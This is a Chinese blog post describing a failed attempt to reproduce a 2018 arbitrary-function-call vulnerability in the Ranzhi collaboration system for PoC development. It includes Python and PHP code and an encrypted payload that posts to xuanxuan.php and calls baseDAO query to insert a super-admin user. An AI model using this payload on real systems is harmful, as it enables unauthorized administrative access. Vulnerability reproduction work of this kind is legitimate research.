Skip to content

记一次失败的漏洞复现-然之协同

字数
1155 字
阅读时间
6 分钟
更新日期
2/28/2019

这是2018年的一个漏洞,但是漏洞详情中没有给出具体的利用脚本和利用payload,于是准备先复现漏洞,但是调试一天无果,遂记之….

0x00 介绍

我的任务是为2018年的漏洞编写poc插件,同时复现环境。这个漏洞的分析链接是

简要介绍一下该漏洞分析的流程,某个传参中未作过滤,导致可以执行该类里面的任意函数,然后通过调用这个函数来执行整个系统中的任意函数,分析中选择执行操作db的类来添加一个管理员用户。

0x01 aes解密

介绍完毕,首先来到第一个坑,这个系统在解析调用的时候选择先aes解密在转义json数组。所以我们需要先将json数据aes加密。一般aes加密后都会base64编码一下识别为可读的字符,但是该系统就要aes加密的,不要base64…

python
sql = r'''INSERT INTO `ranzhi`.`sys_user`(`dept`, `account`, `password`, `realname`, `role`, `nickname`, `admin`, `avatar`, `birthday`,`gender`, `email`, `skype`, `qq`, `yahoo`, `gtalk`, `wangwang`, `site`, `mobile`, `phone`, `address`,`zipcode`, `visits`, `ip`, `last`, `ping`, `fails`, `join`, `locked`, `deleted`, `status`) VALUES(0, 'admin886', '68a021b219de5c74dfb47ef701866b45', 'admin', '', '', 'super', '', '0000-00-00', 'u', '','', '', '', '', '', '', '', '', '', '', 0, '', '0000-00-00 00:00:00', '0000-00-00 00:00:00', 3,'2019-02-28 11:47:38', '0000-00-00 00:00:00', '0', 'offline');'''
data = '{"userID": "123", "module": "chat", "method": "fetch","params": {"0": "baseDAO", "1": "query", "2": "%s", "3": "sys"}}' % sql
key = "88888888888888888888888888888888"

aes = AES.new(self.add_to_16(key), AES.MODE_ECB)  # 初始化加密器
encrypted_text = aes.encrypt(self.add_to_16(data))
r = requests.post(self.url + "/xuanxuan.php", data=encrypted_text, headers=headers)

image-20190228185747182

biu直接发送,得到结果解密失败???好吧,我也不清楚requests能不能发字节的data…

那换个思路,直接在php中生成好,base64加密一下,然后poc里面base64解密后发送?

代码如下

php
$payload = '{"userID": "123", "module": "chat", "method": "fetch","params": {"0": "baseDAO", "1": "query", "2": "INSERT INTO `ranzhi`.`sys_user`(`dept`, `account`, `password`, `realname`, `role`, `nickname`, `admin`, `avatar`, `birthday`,`gender`, `email`, `skype`, `qq`, `yahoo`, `gtalk`, `wangwang`, `site`, `mobile`, `phone`, `address`,`zipcode`, `visits`, `ip`, `last`, `ping`, `fails`, `join`, `locked`, `deleted`, `status`) VALUES(0, \'admin886\', \'68a021b219de5c74dfb47ef701866b45\', \'admin\', \'\', \'\', \'super\', \'\', \'0000-00-00\', \'u\', \'\',\'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', 0, \'\', \'0000-00-00 00:00:00\', \'0000-00-00 00:00:00\', 3,\'2019-02-28 11:47:38\', \'0000-00-00 00:00:00\', \'0\', \'offline\');", "3": "sys"}}';
$payload = base64_encode($this->encrypt($payload));

获得了payload

gxFLdueMz7ZBplPdg68YPC4ZcSdi1MhKPAKyV8QZBbFW+P4Dt5GPJ+TAmotWsoFAsbT+AZOs/C2ff+J26Cxf2SpVJYM3MqvOMlmOtJbxkzEgY3YxZM98p8CRhsJCGgefINFwihspNLcKzDdphX3SU/h9MkU4xrbCnwUanuU7tGY/wJhBuYOLVymR0UUa89c2EkNhXu+WP8BZuEHxRJKRFTwbSmpNOwWTIipkteCe5KSk7w0jwNfwROKpl0r9dK1mmCvuoLNmiIRqwj6uqfgd2OJ5bHysEuKhKzSl70vp2jp0jhdk9XTnKXPv8bSVj6k+8gP4FBBvDaFivsEu9n5bBt0HGT06Kg7tV92ohmOama/5NZ4Ityti0T5+D9Nygpd8UoIeIHdCQmBZDQDf+yA5L6LGS1FBqTzeT06/FeGpGLc23BLPcXzN0HpXpH2llf/P+184mgYElhMUvXKIpjrqhP7ovQIOCNrfCUUS9yFS1KMwXSAynUn1zk/bG4gBH9mFyEw7BX2wG3yTkfhSMwb7gxhn2nrMNs/kKmUE23k//kSg0b5mvYvTuzkBCc4eUfrs4SaMV4B3FWQ/JmZ2TW3NfBNOdE6RZJG62Xv4ktbsaWG+gyb8inBzI+djp5xpQiZ1p0i+cHD7+ydiSdD94Jqveuvdl95pjd53VtiYg181gMJnUBaX2M3ZYk2PeW6B3Ya4PqqdvWEAcBgAB+CY4XySuaWzWSd7srAALH84py0gzl+gbK9j/YD1BcGNJ9abEgaUNQid5zVcMDRw+SgoJeBRTwH1UrZqb+7SG5i3/LB+YLqyrL+OOcIFXX9xjwp9IYAJJniqoXX6CY/TF65lZuudDHoN1mzGN3aSJL8PP1IudJHaB/vWW7nNFcHU32gd3Y8OjA8lYHUC2/VvHA9nB3jZAo3SuHE502oI1nfLsMcY5TVp2RutDSt6KxOiAMKeWjMl/790tmiY9BR/REsqM9nxFQ==

poc如下代码

image-20190228190847897

但是运行后发现,我们的payload最后并没有解析成json格式,而是一个字符串格式。

为了更好的测试,我将源文件代码修改了一下,原来是

php
$input   = file_get_contents("php://input");
$input   = $this->decrypt($input);

现在是

php
$payload = '{"userID": "123", "module": "chat", "method": "fetch","params": {"0": "baseDAO", "1": "query", "2": "INSERT INTO `ranzhi`.`sys_user`(`dept`, `account`, `password`, `realname`, `role`, `nickname`, `admin`, `avatar`, `birthday`,`gender`, `email`, `skype`, `qq`, `yahoo`, `gtalk`, `wangwang`, `site`, `mobile`, `phone`, `address`,`zipcode`, `visits`, `ip`, `last`, `ping`, `fails`, `join`, `locked`, `deleted`, `status`) VALUES(0, \'admin886\', \'68a021b219de5c74dfb47ef701866b45\', \'admin\', \'\', \'\', \'super\', \'\', \'0000-00-00\', \'u\', \'\',\'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', 0, \'\', \'0000-00-00 00:00:00\', \'0000-00-00 00:00:00\', 3,\'2019-02-28 11:47:38\', \'0000-00-00 00:00:00\', \'0\', \'offline\');", "3": "sys"}}';
        $input = $this->encrypt($payload);
//      $input   = file_get_contents("php://input");
        $input   = $this->decrypt($input);

后面经过多次测试,都没法逃脱是字符串的命运,没办法,这点后面再看吧。。可能是encrypt的时候问题,先手动增加一个json_decode()

0x02 峰回路一转

手动添加后可以解析出参数了image-20190228192437511

但是sql语句却是空的

image-20190228193314518

于是想测试下到底能否跳到baseDAO这个类里,在baseDAO自己新建了一个phpinfo成员函数,然后修改payload让它跳到这里,最后证明是可以跳到这里的。image-20190228194123325

那么就可以确定了,可以执行这个函数,但是参数是没有传递进来。不管怎么说,这几个测试验证了漏洞是可行的,可能就是payload的有些问题。

0x03 未完待续

虽然博客上寥寥几句话就说完了,但是现实调试的是很痛苦的,想着不能调试一天啥都白干吧,于是记录下了这篇文字,明天,我再来看看到底是怎么回事!

后续:记一次成功的漏洞复现-然之协同

撰写

布局切换

调整 VitePress 的布局样式,以适配不同的阅读习惯和屏幕环境。

全部展开
使侧边栏和内容区域占据整个屏幕的全部宽度。
全部展开,但侧边栏宽度可调
侧边栏宽度可调,但内容区域宽度不变,调整后的侧边栏将可以占据整个屏幕的最大宽度。
全部展开,且侧边栏和内容区域宽度均可调
侧边栏宽度可调,但内容区域宽度不变,调整后的侧边栏将可以占据整个屏幕的最大宽度。
原始宽度
原始的 VitePress 默认布局宽度

页面最大宽度

调整 VitePress 布局中页面的宽度,以适配不同的阅读习惯和屏幕环境。

调整页面最大宽度
一个可调整的滑块,用于选择和自定义页面最大宽度。

内容最大宽度

调整 VitePress 布局中内容区域的宽度,以适配不同的阅读习惯和屏幕环境。

调整内容最大宽度
一个可调整的滑块,用于选择和自定义内容最大宽度。

聚光灯

支持在正文中高亮当前鼠标悬停的行和元素,以优化阅读和专注困难的用户的阅读体验。

ON开启
开启聚光灯。
OFF关闭
关闭聚光灯。

聚光灯样式

调整聚光灯的样式。

置于底部
在当前鼠标悬停的元素下方添加一个纯色背景以突出显示当前鼠标悬停的位置。
置于侧边
在当前鼠标悬停的元素旁边添加一条固定的纯色线以突出显示当前鼠标悬停的位置。